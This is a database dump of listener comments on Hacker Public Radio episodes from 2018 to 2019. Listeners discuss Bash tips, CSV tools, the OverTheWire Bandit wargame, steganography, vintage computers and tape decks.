(2570,2676,'2018-11-22 19:40:29','Ken Fallon','we\'ll get back to that','That I often face Ahukas shows with trepidation given I know what he\'s likely to say and I\'m not wanting to hear it. The old \"head in the sand trick worked for grandpa so it\'s good enough for me\". But then you listen and the advice is always good and doable. Now I just feel guilt for not doing it.','2018-11-22 20:58:14'),
(2571,2399,'2018-11-23 13:11:07','dodddummy','There\'s nothing new under the sun.','Found this and, of course, this is NOT a new idea.\r\n\r\nhttps://youtu.be/SlgOsqlInpc?t=794','2018-11-23 13:30:23'),
(2572,2679,'2018-11-24 17:12:57','clacke','Immediately useful','Very good episode about some functionality I always vaguely knew was there, but never considered using or even looking into.\r\n\r\nLo and behold, within a week after listening to it, I have already made use of my new-found knowledge to parse some predictably-formatted JSON!\r\n\r\nI ran into issues with quoting the expression, and worked around them by assigned the expression to a variable and referring to that variable in the conditional.\r\n\r\nNow I\'m listening to #2669, and I understand exactly why it went wrong.\r\n\r\nFor the sake of readability, I actually think the assignment workaround was the best way to express it.','2018-11-24 17:25:52'),
(2573,2679,'2018-11-25 19:56:03','Dave Morriss','Thanks clacke!','Glad you found the show(s) useful and are using Bash regular expressions and capture groups.\r\n\r\nParsing JSON with Bash is a challenging task to take on though, I use jq to do this myself - or the JSON module in Perl of course ;-)','2018-11-25 19:58:59'),
(2574,2665,'2018-11-29 02:48:29','Kevin O\'Brien','It is about making a decision','I\'m glad I could be of help. My purpose in this series is to say that we can take charge of our health rather than be passive victims. Then I can offer some tools to help in that. You just need to make a decision.','2018-11-29 09:45:17'),
(2575,2693,'2018-11-30 09:07:51','klaatu','Cool game idea, cool intro','This sounds like it would be kind of an amazing game, actually. I hope it happens. If not, it\'s still a neat idea.\r\n\r\nAnd thanks for the taste of Haskell. I\'ve been mildly curious about it for a while, so it\'s nice to hear something substantial about it.','2018-11-30 10:33:25'),
(2576,2693,'2018-12-01 06:01:53','tuturto','thanks','Thanks, I\'m kind of fond of the idea too. Ideas of course are cheap and actual implementation is the tricky part. But I\'m trying to get at least very minimally working system up and running at somepoint. Main idea is just to explore idea of writing such a game and learn a bit Haskell and Elm on the side.','2018-12-01 10:42:09'),
(2577,2672,'2018-12-03 02:33:59','Klaatu','Late response better than no response','Sorry, Alison, I only just saw your comment.\r\n\r\nNetwork Proxy configs: I don\'t have trouble with it, but I also have a VPN available to me; maybe that gets around some wonky network setups. I have not had a problem in airports, universities, hotels, conference centers, or really anywhere that I can think of.\r\n\r\nTest-drive Linux in store: I do this as a matter of habit. If I\'m in a store with computers for sale, I usually reboot at least one PC to Linux just to keep tabs on what works out of the box these days. It seems rare for UEFI of display models to be locked down, so I open the UEFI UI, disable Secure Boot, reboot to Linux, test stuff, and then re-enable Secure Boot to avoid what would be vandalism (I have no interest in giving Linux geeks a bad name - \"keep an eye on that one, he\'ll break our display models until corporate sends somebody to fix them\") \r\n\r\nI\'ve only been approached/reprimanded once for doing this. I calmly explained that I was testing Linux, which I require for work, because I was considering a purchase. The salesperson did not stand down, so I calmly rebooted and later sent an email to the store manager telling them that Linux is a real OS that real people in the area use at work, so the sales team ought to be made aware of it. I haven\'t had a problem since in that store (Warehouse Stationary in NZ, for the record). \r\n\r\nOtherwise, no one has ever bothered to approach me about it. I guess if I was nervous about it, I might try to find a sales person and explain what I needed to do, and why, and then ask if I may demonstrate the process, walking them through everything as I did it. Throwing fancy words around, like \"programmer\" and \"software developer\" and \"C++\" might help dazzl le them into submission.\r\n\r\nEither way, it\'s worth a shot.','2018-12-03 10:42:33'),
(2578,2694,'2018-12-03 15:20:36','Ken Fallon','Use the website','You are Supposed to read the website at the start of the next level.','2018-12-03 15:24:15'),
(2579,2694,'2018-12-03 21:37:29','NYbill','Huh?','I\'m not sure what you mean here, Ken. Its not a question... if its a statement, I do read the website at the start of the next level.\r\n\r\nBTW, if anyone got up to 27 last time. Well, they changed 26. So, there is a nice extra bit of challenge to that level now too.\r\n\r\nCurrently stumped on 32... for 3 days now.  :P\r\n\r\nGood fun!','2018-12-03 21:39:36'),
(2580,2694,'2018-12-04 05:43:35','Ken Fallon','I took it to be a hacking challange','So I approached it from the point of view that this was a system we needed to access and had to figure out the answer without clues. I don\'t know where I got this idea, but I thought I heard someone explain it like that. \"If you get stuck then go to the website\".\r\n\r\nSo I was stuck on six for a long time as a result. \r\n\r\nNow at 11. The problem now I searched for \"some tool I know I need\" plus \"something I need to answer\". The result was obvious but I now feel like I cheated. So am deciding if I should come up with another solution ?','2018-12-04 08:08:09'),
(2581,2697,'2018-12-04 12:39:06','ClaudioM','shutdown on BSDs','A nice, succinct episode. One thing to note, though, is that the switch for poweroff on BSD is \"-p\" (lowercase p) which is different than it is for Linux which is \"-P\" (uppercase P). Not sure what it is on illumos-based distributions since I haven\'t used those yet.','2018-12-04 12:42:00'),
(2582,2694,'2018-12-04 21:12:29','NYbill','Webpage','Ah I see. I always referred to the Over the Wire link I put in above. \r\n\r\nThere really isn\'t any other way to know what is expected of you for the level. Some levels leave you in an empty home dir. Some Levels you need info from the OTW page you\'ll copy/paste in.\r\n\r\nYes, I bet you were having quite a hard time without reading that! \r\n\r\nI know I said, if you get really stuck, there are web sites out there with full bandit solutions on them.  But, I don\'t feel reading the OTW web site for the level goal, then researching commands or tools to solve it on your own is cheating. \r\n\r\nHow else did we all learn any of this stuff. Figure out what needs to be done, and how a thing works, then manipulate it! Hacking. ;)','2018-12-04 21:24:30'),
(2583,2562,'2018-12-05 06:36:23','clacke','This is an episode','But I\'ll answer very quickly here:\r\n\r\n1. Invoice in fiat, cryptocurrency as a medium for transfering value.\r\n\r\n2. Yeah, that\'s why we didn\'t do that. If currency needs to be all of medium for value transfer, store of value, and unit of accounting to be currency, then most raw cryptocurrency simply isn\'t currency.\r\n\r\n3. Hoo yes.','2018-12-05 07:53:09'),
(2584,2698,'2018-12-05 14:58:29','Mike Ray','Good timing','What a brilliant tool and a great show.\r\n\r\nThis has come at a good time for me as I am deep into a large screen-scraping project which is yielding complex CSV files with many columns.\r\n\r\nLike b-yeezi I frequently get involved with textual data manipulation in all kinds of formats.  I did not know about xsv and have often had to guess the ordinal position of specific columns, and have to do all kinds of slicing and dicing operations.\r\n\r\nNot easy at the best of times, and time consuming. All the more so if you can\'t easily guess the column position because you can\'t see.\r\n\r\nSo the timing of this show is great for me.  And this is real hacking.','2018-12-05 15:26:57'),
(2585,2701,'2018-12-10 08:51:49','tuturto','Particularly interesting','I wasn\'t aware of odroid-go until listening to this episode. Thanks for recording it and spreading information. While games are fun (I like gaming a ton), I would imagine coding for this device is where I would have the most fun. For a long time I have been fascinating about idea of taking my programs with me and carrying them around, using them when I want to.','2018-12-10 08:55:07'),
(2586,2704,'2018-12-15 17:17:59','Ahuka','Excellent show','As usual, Klaatu does an excellent job in presenting software. I particularly enjoyed when he said \"You could do this, but you shouldn\'t.\" This is true in so many situations.','2018-12-15 18:01:41'),
(2587,1536,'2018-12-16 13:09:39','Richard Harris','Consultant, Licensed technical instructor','On the Heartland Info Web Pages, I\'ve posted:\r\n\r\n\"Radio Shack 150-in-1 Science Fair \r\nElectronic Project Kit\r\n\r\n\"RECOMMENDED PROJECTS, sorted by difficulty...\r\nwith\r\n\"Additional tips...\"\r\n\r\nat: https://www.harris1.net/info/sci_tech_health/RadioShack_150in1kit.htm\r\n\r\nIt\'s my \"Quick Guide to the best of the 150 projects in this kit, with the list organized from most basic to most advanced, of the 69 best projects for people learning electronics.\"\r\n\r\nThis should help electronics beginners and novices, struggling to learn electronics from the poorly organized manual -- which starts with rather advanced topics, and scatters the basics all over the place. \r\n\r\nAs a tech instructor, looking to hand my old kit of to a newbie, thought I\'d take the time to sort it out for him -- and this is the result.  \r\n\r\nAt bottom of chart is a lengthy collection of \"tips\" for novice experimenters, whether using this kit, or not. \r\n\r\nComments and (civil) corrections welcome.\r\n\r\n~ RH of harris1.net','2022-02-14 13:25:09'),
(2588,2698,'2018-12-16 20:24:11','Dave Morriss','This is a great bit of software','Thanks for this.\r\n\r\nI just listened to the show and immediately thought of several applications of xsv in what I do. I have installed it and am learning my way around it. Definitely a great addition to the toolkit.','2018-12-16 20:44:22'),
(2589,2706,'2018-12-18 17:44:59','Bob','Novell not AS400','It was a Novell server.\r\n\r\nhttps://www.theregister.co.uk/2001/04/12/missing_novell_server_discovered_after/','2018-12-18 17:46:55'),
(2590,2707,'2018-12-18 22:47:55','b-yeezi','Great show','Thank you for this to steganography. It is a topic that I\'ve heard of and gave it little thought until this show. I\'m interested in what you will come up with for your next episode.','2018-12-18 22:49:49'),
(2591,2707,'2018-12-19 02:30:17','Klaatu','Great intro','Thanks for this excellent overview. I find steganography fascinating but never thought about the workflow. This episode is a great way to focus on the steps and tools involved.','2018-12-19 07:49:07'),
(2592,2706,'2018-12-20 16:11:44','Klaatu','Intro music','I love this retro version of the intro music. Really cool episode, too. I was not familiar with AS/400, and I don\'t know much about mainframes, so this was a fascinating overview. Thank you!','2018-12-20 16:13:05'),
(2593,2705,'2018-12-20 16:48:42','Klaatu','smart','Listening to this episode made me feel really smart, mainly because of all the science-y terms like \"control group\" and \"double blind\". Once I past feeling like I was now an expert in scientific studies, I realised that this topic is actually a broad topic and can even, in many ways, be applied to a lot of things in life, possibly software testing and usability studies. I\'d love to get a job some time where I could just test people\'s reactions to various interface designs, or to arbitrary limitations imposed on software, and so on.\r\n\r\nThanks for this series; I never thought of myself as being interested in health care and science, so it\'s been unexpectedly intriguing.','2018-12-20 16:50:14'),
(2594,2697,'2018-12-20 17:52:53','Klaatu','another great jwp episode','Thanks for yet another straight-forward and informative episode, jwp. I always wondered about the `halt` thing, since on Slackware I\'d learned (probably from the Slack book) `shudown -h now`\r\n\r\nClaudioM: OpenIndiana uses the original Sun shutdown command (at the time of this writing, at least; I know a lot of CDDL stuff is is systematically getting replaced, but I\'m not sure if \'shutdown\' is on that list), and its options are pretty basic.\r\n\r\nOh heck, I\'ll just go record an episode about it.','2018-12-20 17:57:03'),
(2595,2701,'2018-12-20 17:57:29','Klaatu','Particularly interesting +1','I\'d heard of odroid, but this has been a great review of one, with lots of useful hands-on information. Thanks for this. Eventually, I assume my Pocket Chip will die, and since the company that created it is no more, I can foresee wanting a replacement. These ultra-portable systems (some Pi-like device with a screen and some method of input) are really really useful on the 20 hour flights from New Zealand to the East Coast of USA that I end up having to make once or twice a year for some tech conf.','2018-12-20 17:59:36'),
(2596,2698,'2018-12-20 18:12:22','Klaatu','Neato','I don\'t encounter CSV all that often, but this is a great tool to know about. Thanks!','2018-12-20 18:13:19'),
(2597,2697,'2018-12-20 21:23:09','Klaatu','episode 2725','My Illumos response is episode 2725. Enjoy, and thanks both JWP and ClaudioM for the comparisons.','2018-12-20 21:34:19'),
(2598,2695,'2018-12-20 22:35:33','Klaatu','Required listening','This ought to be required listening for everyone before they are allowed on the Internet, or out of their front door.','2018-12-20 22:38:31'),
(2599,2705,'2018-12-21 02:41:42','Ahuka','Follow your bliss','Thanks for the comment, Klaatu. I guess this works because I always pick topics I am interested in, and I suspect that is what makes it interesting to others.','2018-12-21 10:13:31'),
(2600,2695,'2018-12-21 03:32:52','Kevin O\'Brien','Finding truth','Many years ago I was told by a professor that all really important questions come down to epistemology, i.e., how do we know what we know? I have come to see the truth in that statement. I\'m glad you also see that Klaatu.','2018-12-21 10:13:31'),
(2601,2710,'2018-12-21 08:07:55','Gustaf','Thank you','Nice one, this will come in handy. Thank you for posting','2018-12-21 10:13:31'),
(2602,2666,'2018-12-22 03:52:20','Klaatu','shameless self promotion','Great episode on Slackware, thanks.\r\n\r\nI have written a guide on the post-install process here:\r\nhttps://slackermedia.info/handbook/doku.php?id=user\r\n\r\nI should probably go to the Slack wiki and merge it into the official docs, but I\'m not sure what the protocol is for total re-writes of someone else\'s content. Anyway, it\'s available in the Slackermedia handbook, and covers most of the absolute necessary tasks as well as some GUI customisations.','2022-02-14 13:25:09'),
(2603,2635,'2018-12-22 04:03:21','Klaatu','Best explanation of what a mainframe is','I\'ve asked, I\'ve skimmed wikipedia pages, but until you explained the isolation of the main CPU, with controllers for other tasks, I never understood exactly what a mainframe was. So thank you.\r\n\r\nAlso, thanks for the clear explanation of how to get started with this. I heard about the Open Mainframe project (https://www.openmainframeproject.org) and kinda poked around there, but I think I\'ll give Hercules a go before Open Mainframe\'s Zowe.','2018-12-22 07:56:02'),
(2604,2661,'2018-12-22 04:48:41','Klaatu','Nice look behind the scenes','This was a fascinating peek behind the scenes. I love hearing how open source musicians produce their music, and I loved the samples of the music at the beginning. Very cool!','2018-12-22 07:56:02'),
(2605,2378,'2018-12-22 04:52:40','Klaatu','docbook rocks','https://docbook.rocks/\r\nIs a neat site talking about docbook and how great it is.','2018-12-22 07:56:02'),
(2606,2619,'2018-12-22 07:38:25','Klaatu','can\'t wait to try it','Quilt sounds really neat. I can\'t wait to try it. \r\n\r\nThanks for a great episode!','2018-12-22 07:56:02'),
(2607,2712,'2018-12-28 05:54:34','Ken Fallon','Did anyone win ?','we need to know.','2018-12-28 10:33:28'),
(2608,2706,'2018-12-31 04:05:53','Windigo','Certainly piqued my interest','Thanks for the informative episode! I\'ve bumped up against the AS/400s a few times in my life, but never managed to find out what they were all about.\r\n\r\nI feel this was a great intro, and I will be poking around the museum to learn more.','2018-12-31 07:33:57'),
(2609,2716,'2018-12-31 16:18:04','b-yeezi','Already put to use','Great episode. I have already started using this tip in my Tiny Tiny RSS instance.','2018-12-31 17:22:18'),
(2610,2712,'2019-01-04 21:22:02','ShortFatBaldGuy','Great episode/series','Solid work klatuu, if you\'re ever in the Cincinnati area, I\'d like to buy you a beer and pick your brain - Scott','2019-01-04 22:07:39'),
(2611,2719,'2019-01-07 17:03:00','Ken Fallon','Things I didn\'t know','Didn\'t know about Substring manipulation\r\n\r\nAlso found out why the following works\r\n\r\n\r\nfilepath=$(dirname -- \"${source}\")\r\nfilename=$(basename -- \"${source}\")\r\nextension=\"${filename##*.}\"\r\nfilename=\"${filename%.*}\"','2019-01-07 17:08:29'),
(2612,2712,'2019-01-07 19:16:39','Klaatu','no lucky winners','Nobody emailed me revealing that they found the hidden object. To be fair, there wasn\'t much time, it was around the holidays, and people are busy. I should look at the server logs to see how many people actually downloaded the sample PDF containing the payload.\r\n\r\nI believe that most listeners consume HPR from RSS and never see shownotes (and all of my subtle hints that there was more than meets the eye about this mini-series were only in shownotes).\r\n\r\nAnyway, it was a fun experiment, and interesting data about both steganography and the PDF format.','2019-01-07 19:21:51'),
(2613,2719,'2019-01-07 19:18:46','Dave Morriss','Substring manipulation','This is a very cool feature which I use a lot!\r\n\r\nI\'d approach your example with a little script, \'pathparse\' which shows you don\'t need \'dirname\' or \'basename\':\r\n\r\n$ cat pathparse\r\n#!/usr/bin/env bash\r\n\r\npath=\"$1\"\r\n\r\ndirectory=\"${path%/*}\"\r\nfilename=\"${path##*/}\"\r\nprefix=\"${filename%.*}\"\r\nsuffix=\"${filename#*.}\"\r\n\r\nprintf \'%-9s: %s\\n\' \\\r\n    \'Directory\' \"$directory\" \\\r\n    \'Filename\' \"$filename\" \\\r\n    \'Prefix\' \"$prefix\" \\\r\n    \'Suffix\' \"$suffix\"\r\n\r\n$ ./pathparse /etc/apt/sources.list\r\nDirectory: /etc/apt\r\nFilename : sources.list\r\nPrefix   : sources\r\nSuffix   : list','2019-01-07 19:21:51'),
(2614,2712,'2019-01-07 19:20:14','Klaatu','Thanks Scott','Thanks for the comment and offer, Scott. I\'m more a coffee drinker, and rarely in Cincinnati any more, but drinking and talking about tech is pretty much my favourite pastime. So if I\'m in the area I will absolutely broadcast it on the HPR mailing list so I can take you up on your offer!','2019-01-07 19:21:51'),
(2615,2709,'2019-01-08 11:56:32','dodddummy','In case you are worried Dave will run out of material','https://lists.gnu.org/archive/html/bug-bash/2019-01/msg00063.html\r\n\r\nBASH 5,0!!!','2022-02-14 13:25:09'),
(2616,2709,'2019-01-08 20:28:38','Dave Morriss','Bash-5.0','Yes, I just saw that on Mastodon. Thanks for the heads-up.\r\n\r\nOh boy, lots of fun for me, infinite vistas of tedium for my audience ;-)','2019-01-08 20:29:39'),
(2617,2629,'2019-01-08 22:55:32','dodddummy','The Stanley Parable','Joel H,\r\nI just read your comment and looked at \"The Stanley Parable\". I think this would work just fine in a first person exploratory game. As I\'ve thought it about this and games more, I can\'t think of a game type this wouldn\'t work in, actually.\r\n\r\nFirst person mode would be interesting in the thoughts could switch from initially being in the native language but switching to the new language as progress is made. That\'s sort of the ideal situation I suppose in general. If you can think in the new language I suppose you\'ve won.','2019-01-08 22:57:44'),
(2618,2668,'2019-01-10 17:21:58','MrX','Re Comment 1 from Michael','Many thanks for the comment much appreciated\r\nVery sorry for taking so long in replying I\'m not very good and checking for new comments probably for the same reason that I didn\'t include the interesting noise from my tuner. Afraid it all boils down to time or lack of it as I would have had to set things up and make a separate recording and I was just keen to get the show finished my apologies, again the same reason for not giving audio examples of the noise blanker. Also thanks for the information on relays having never owned a modern HF radio I assumed they would be silent, thanks for the clarification\r\n\r\nBest wishes MrX','2019-01-10 17:41:19'),
(2619,2668,'2019-01-10 17:25:03','MrX','Re Comment 2 from lostnbronx','Hi yes indeed wonderful microphone, unfortunately, I\'ve never had the pleasure of using such a mike myself. The picture was actually to show an example of a radio with a moving analogue tuning needle that moves across the front of the radio, the microphone just happened to be in the picture.\r\n\r\nThe AVO meter is indeed a classic and something I have personally used on numerous occasions many years ago, they look like something out of an old horror film and are very heavy, built to last. \r\n\r\nBest wishes MrX','2019-01-10 17:41:19'),
(2620,2725,'2019-01-11 19:21:40','ClaudioM','Quite a Different Shutdown','A very informative episode. I hadn\'t realized how different the shutdown command functions on illumos-based operating systems is from the BSDs and Linux. You\'ve also inspired me to make an HPR episode on a similar command with the same name in another OS I have to use from time to time.','2019-01-11 19:34:28'),
(2621,2721,'2019-01-15 11:57:46','Dave Morriss','Very nice show!','Thanks Yannick, I really enjoyed listening to this. Very well done.\r\n\r\nIt was also great to hear Jeroen on the Community News again. For the record the HPR \"muggers\" at OggCamp 2018  that suggested he join us were JWP and myself ;-)\r\n\r\nI caught something a bit like flu just after Christmas - but it can\'t have been flu because I had my flu shot. Anyway, the notFlu, or its aftermath, is still hanging on three weeks later.','2019-01-15 11:59:43'),
(2622,2721,'2019-01-16 05:23:17','Windigo','Listening through the back catalog','I\'m one of the folks listening through the HPR back catalog (in descending order). Older episodes are often still relevant, and those that are a little \"dated\" are still fascinating from a historical perspective.\r\n\r\nLike Ken mentioned, this is also a fantastic way to flesh out the tags and summaries on older episodes. It only takes a few extra minutes per show!','2019-01-16 08:57:51'),
(2623,2728,'2019-01-17 08:00:31','Ken Fallon','As a means for telling two stories at once ?','Hi LnB,\r\n\r\nLoved this show as ever. It got me thinking that I enjoyed \"The Usual Suspects\", and \"Fight Club\" as two well executed movies. Both had me going back to watch it again to see how they fooled me. \r\n\r\nI would like to argue that \"The Sixth Sense\" took the premise of the unreliable narrator(s) and did something unique to set it apart from the other two. Namely they produced two entirely different films from the same series of pictures. \r\n\r\nThe first time I saw it I watched a Horror Film starring Bruce Willis, and saw a story about a man who discovers the truth.\r\n\r\nThe second time watching it I saw a Drama starring Haley Joel Osment, and saw a story about a boy struggling to accept he is different, having to deal with difficult situations and learning to trust again.\r\n\r\nAfter listening to your show, I realised that this was only possible because both characters were Unreliable Narrators, one unknowing and the other using it as a tool to help.\r\n\r\nKen.','2019-01-17 10:14:19'),
(2624,2734,'2019-01-17 18:14:25','Klaatu','Coincidentally...','I\'ve resumed using mashpodder for podcatching just recently.\r\n\r\nThe audio jack on my mobile failed (rending my mobile functionally useless as a podcast listening device), so I dug out an old media player loaded with RockBox, and I use it as my listening device. For one day, I tried loading it manually with podcasts, and then realised that I needed something to manage show downloads for me, and mashpodder is what I turned to. \r\n\r\nI started modifying it so that it would run an arbitrary script (such as a conversion script) but got distracted. Maybe later....','2019-01-17 19:52:22'),
(2625,2734,'2019-01-20 19:51:41','MrX','Re Coincidentally...','Hi Klaatu, I took some advice from our friend Dave Morris he suggested I might like to use the RSS feed to keep track of comments. I got hold of a simple RSS feeder on the Android play store. It seems to be working out great as I was alerted to your comment. Without the reader, months may have gone by before stumbling across your comments. Mashpodder is ripe for modifying especially since it\'s so well written with loads of good comments. I have plenty of unfinished projects so I can relate to what you are saying.\r\n\r\nAll the best \r\nMrX','2019-01-20 20:03:20'),
(2626,2731,'2019-01-23 17:26:40','tuturto','amazing memories','I never actually owned BBC, but read about them a lot when I was kid. Especially Elite was touted as the best space game ever and BBC version being superior in every possible way. Thanks for making the episode, it sure resurrected bunch of old memories.','2019-01-23 17:31:48'),
(2627,2731,'2019-01-23 17:46:27','Dave Morriss','This was a real treat','Great episode. I\'m jealous. So much nostalgia.\r\n\r\nI actually bought a BBC Micro in about 1981(?) having previously owned an Acorn Atom (I think). What\'s more I still have the Beeb, though it\'s mouldered away many years in the attic. I bought the Z80 co-processor, the \"Prestel adaptor\" (modem in a beige box), a dual floppy disk drive and a bunch of other stuff including the RGB monitor. It was my main computer for many years.\r\n\r\nIt\'s been something I have been meaning to do for some time - resurrect these devices. The replacement of all the dead electrolytic capacitors might be more than I can manage, but I\'ll have a go. If not then I know I can buy a properly refurbished one off eBay ;-)\r\n\r\nI hope you\'ll do more shows about your experiences with this magnificent machine.','2019-01-23 17:49:44'),
(2628,2731,'2019-01-23 21:25:30','Jon Kulp','I love legacy hardware','I LOVED this episode! I like anything about retro equipment, making old stuff work again, using legacy equipment/formats. This was great. My own interest is mainly audio, but it\'s great hearing about any of these old tech products that are still usable or are being refurbished and loved again. Thanks. :)','2019-01-23 21:27:23'),
(2629,2731,'2019-01-23 23:00:11','timttmy','first contact','Thanks for the show Andrew.\r\nMy first contact with any computer was the BBC in the \"Big\" class (Final year) at primary school. I can vividly remember playing Granny\'s Garden [1] when I was 9 or 10.\r\nThen at secondary school while everyone was messing around with the new windows 3.1 i386 machines I spent _days_ on the only BBC left in the school typing code in from a magazine called quest [2]. The code was some sort of database programme but it never ever worked and so far above my skill set to debug it just sat on my 5 1/4\" floppy destined to stay in my school bag until the end of time.\r\nI actually gasped and swore when you jogged, well set a nuclear bomb off in my memory with the two words \"Star dot\". I had forgotten how simple the commands were.\r\nAnyway please please do a follow up show. I would love to hear more about the BBC and see how much I can remember. \r\n\r\n[1]https://en.wikipedia.org/wiki/Granny%27s_Garden\r\n[2]https://en.wikipedia.org/wiki/Quest_(British_magazine)','2019-01-24 07:44:58'),
(2630,2717,'2019-01-25 09:42:51','rtsn','!','Good episode!','2019-01-25 09:44:12'),
(2631,2726,'2019-01-25 09:44:48','rtsn','!','Cool, thanks for sharing! Very interesting episode.','2019-01-25 09:49:26'),
(2632,2731,'2019-01-25 12:13:39','rtsn','c0mment','Thanks for this wonderful episode. The bbc seems like pretty cool machine. more episodes on this please!','2019-01-25 15:29:45'),
(2633,2731,'2019-01-25 23:22:31','Mike Ray','Jealous','I spent probably most of the first half of the eighties playing Elite on the BBC micro. Or Donkey Kong, or writing code for it.\r\n\r\nLast time I used one, or was it two, was to calculate the position of the Moon and steer a huge VHF antenna array to point at it, late eighties and early nineties. Wasn\'t ideal since the ADC port was only 11 bit, so no great accuracy with the Moon\'s position, could not have pointed Jodrell Bank with sufficient definition.\r\n\r\nI could see back then.\r\n\r\nI am very jealous of all of those classic 8-bit classic games at your fingertips. And all loading fast.\r\n\r\nYou must have been sick when the PSU blew up.\r\n\r\nLast question...where can I find a wife like that?','2019-01-26 11:17:29'),
(2634,2737,'2019-01-29 02:12:48','Jon Kulp','Tape counter is functioning now','Follow-up: research on the issue indicated that a non-functional tape counter in this machine was about 99% likely to be from a broken belt. The reels are direct-drive but a belt turns the counter. I got a replacement belt from eBay and installed it today, and I\'m happy to report that it works perfectly now.','2019-01-29 07:21:59'),
(2635,2737,'2019-01-29 12:20:29','Bookewyrmm','ancient media','I just finished listening to the episode, and wow! I love finding and listening to older media. The \"Crown Jewel\" in my collection is an Edison Record. Sadly it came to me broken, but I do have all of the pieces and the cardboard storage cylinder is whole, so even if I do ever find a player, I couldn\'t play it. \r\n\r\nFor those interested, here\'s a link to info on Edison Cylinder records\r\n\r\nhttps://cylinders.library.ucsb.edu/history-goldmoulded.php','2022-02-14 13:25:09'),
(2636,2737,'2019-01-29 15:00:22','Jon Kulp','Victrola episode','Thanks for your comment, Bookewyrmm. It\'s too bad about your Edison disc. If you enjoyed this episode about open reel tape, then you might enjoy one I did a few years ago about my Victrola in episode 1339. \r\n\r\nIncidentally I recently discovered a guy on YouTube who does amazing videos about Legacy audio formats, a user called Techmoan. These are just awesome. I highly recommend subscribing.','2019-01-29 15:02:19'),
(2637,2737,'2019-01-29 15:42:04','Dave Morriss','Wow! What a beautiful tape deck!','Thanks Jon. This was a wonderful voyage of nostalgia.\r\n\r\nAs a teenager I had a portable Clarion tape deck (https://www.radiomuseum.org/r/gbc_clarion.html?language_id=2) which I\'d bought from my cousin. It got a lot of use and I learnt how to splice tape and make tape loops back then. I\'d record the latest hit records off the radio to share with friends and family. I did some basic repairs on the player, and learnt to solder when the leads and plugs needed fixing. The Clarion died eventually and probably got junked sadly.\r\n\r\nI always wanted - but never acquired - a big reel-to-reel player like a Grundig, Philips, TEAC, or whatever. Great to hear about your adventures in this area!','2019-01-29 15:42:44'),
(2638,2737,'2019-01-29 16:43:28','Jon Kulp','I want one!','Wow, Dave, I REALLY wish you still had that Clarion tape machine! I love stuff like that. A portable reel-to-reel tape deck is definitely on my wishlist of vintage audio. Incidentally the YouTuber Techmoan did an amazing episode about the tape decks of Mission Impossible, featuring the Craig 212. Thanks for the feedback. :)','2019-01-29 16:50:26'),
(2639,2707,'2019-02-05 17:16:21','rtsn','!','thanks for a wonderful episode','2019-02-05 17:17:13'),
(2640,2743,'2019-02-06 08:02:13','tuturto','Pleasure to listen to','This was really fun episode to listen to and it made me kind of want to play some roleplaying game again. The comment about charisma being least useful stat made me think how it depends on the game being played and the group. Some like shooting (or hitting, or magic missiling) everything that moves, while others like politics and intrigue. Probably best to have a chat before game to set expectations what kind of game people are generally looking forward to.','2019-02-06 08:39:29'),
(2641,2737,'2019-02-06 14:12:27','VulcanRidr','Excellent!','I listened to your RT707 podcast this morning on my way in to work. What a blast from the past...I have the RT909 (https://i.ebayimg.com/images/g/uPsAAOSworNcRKPc/s-l300.jpg), the 10\" reel version of the same tape deck that you have. I picked mine up in the mid-to-late 80s. Now I am racking my brain to figure out where I can pull it out of storage and set up. I want to go back and listen what I put on some of my tapes...\r\n\r\nComparing traditional music formats, LPs, reel tapes, etc to mp3s and oggs is like comparing \"dead tree\" books to e-books. With books, you have the physical sensation of a paper book...The smell of the book, the feel of flipping pages. Meanwhile, with music, not only do you have the spinning tape reels and the movement of the tonearm, but more than that, analog music has more depth and richness, and is generally a warmer ambience than digital music. But at the same time, I can put several hundred thousand digital tracks onto a device which fits in my shirt pocket, and only need a pair of headphones to partake. \r\n\r\nAnyway, it is gems like this show that make me enjoy HPR. Thanks Jon!\r\n\r\n--vr','2019-02-06 14:21:15'),
(2642,2741,'2019-02-06 19:36:13','Brian in Ohio','show notes','I listen to hpr on my android phone using antennapod (available at f-droid) and can see the shownotes and the links in the show notes take you to the website. Great application!','2019-02-06 19:58:02'),
(2643,2737,'2019-02-06 23:35:45','Jon Kulp','the RT-909','Thanks for the comments, VulcanRidr, very glad to hear you enjoyed the episode. I\'ve seen the RT-909 that you mentioned in catalogs and on eBay, and that would be a great tape deck to have. Takes considerably more space than the 707 and probably would not fit in my stereo rack because it would need room above it for those big reels to spin. I\'d love to have one, though! I believe the YouTube Techmoan host has an RT-909 in his collection. If you do pull it out of storage and set it up, I hope you will do a response episode about it. I would love to hear that.','2019-02-07 10:05:40'),
(2644,2708,'2019-02-07 23:05:08','Steve','Just what I needed','Just wanted to say thank you for this episode. I needed to reduce the size of a PDF today, and I knew right where to come and the necessary command was in the show notes. Worked perfectly.','2019-02-07 23:07:19'),
(2645,2672,'2019-02-26 06:37:56','clacke','Re: Test-driving Linux in computer stores','Alison, I\'ve been pleasantly surprised here in Hong Kong that if I ask the store clerks, they will generously allow me to boot from my USB stick to see how well Linux runs, no complaints whatsoever.\r\n\r\nAnd that\'s lucky too, because last spring and summer when I was shopping for a new machine, I tried like ten of them before I found one where screen, Wi-Fi and touchpad were working without glitches and the machine didn\'t crash after a few minutes.','2019-02-26 08:01:36'),
(2646,2754,'2019-02-27 17:47:06','klaatu','this episode','Great episode. The question is how to get the target audience (the people who\'d be fooled by this kind of transaction) to listen to this. I think part of the problem is that people who are fooled by this sort of thing have no interest in learning about it. \r\n\r\nThen again, maybe people-who-can\'t-be-bothered aren\'t the audience.\r\n\r\nEither way, thanks for the walkthrough of the investigation. It\'s great to hear an example of methodical analysis.','2019-02-27 18:26:47'),
(2647,2706,'2019-02-27 19:02:43','Rob','hpr2706 - episode about AS/400','Hi Jeroen, \r\n\r\nthank you for your talk about AS/400 systems . I was working with those magical machines for about a decade and I must admit it was truely enjoyable experience. Thanks again for bringing back good memories. Cheers. treboR\r\n\r\nP.S. I don\'t know how about others but for me those machines will always be AS/400 no matter what new marketing name IBM would invent for them iSeries, System i, etc... ;-)','2019-02-27 20:06:18'),
